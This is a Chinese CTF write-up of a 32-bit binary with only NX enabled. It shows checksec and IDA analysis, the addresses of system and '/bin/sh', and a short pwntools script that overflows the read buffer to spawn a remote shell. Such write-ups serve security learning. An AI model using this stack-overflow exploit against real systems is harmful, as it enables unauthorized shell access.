0. 环境
Ubantu-22.04.4
1. 查看文件格式
终端中输入命令
checksec --file='filename' # filename为下载文件的自定义名称
结果为
只开了NX保护
终端中输入命令
file 'filename'
输出为
32位程序,放到IDA中继续分析
2. IDA分析程序
1. main函数
发现函数vulnerable_function(),这算明示了吧
2. vulnerable_function函数
有危险函数read,而且调用了system函数(但是缺少了“/bin/sh”参数)
关于read函数:
read函数可以读取文件。读取文件指从某一个已打开地文件中,读取一定数量的字符,然后将这些读取的字符放入某一个预存的缓冲区内,供以后使用。
read(handle, buffer ,n);
其中:
handle: 一个已经打开的文件句柄,表示从这个文件句柄所代表的文件读取数据。
buffer: 指缓冲区,即读取的数据会被放到这个缓冲区中去。
n: 表示调用一次read操作,应该读多少数量的字符。
进入文本视图查看system函数地址,如下图
system函数地址为0x0804845C
3. 查看字符串
按“shift”+“F12”查看字符串,结果如下
双击查看其所在地址
“/bin/sh”参数地址为0x0804A024
3. 构造exp
直接上脚本
# coding: utf-8 #python2.7中文注释
from pwn import *
r = remote("网址",端口号)
offset = 0x88 + 4 # 缓存区大小为88h
binsh_addr = 0x0804A024
system_addr = 0x0804845C
payload = offset * b'a' + p32(system_addr) + p32(binsh_addr)
r.sendline(payload)
r.interactive()
攻击成功,结果如下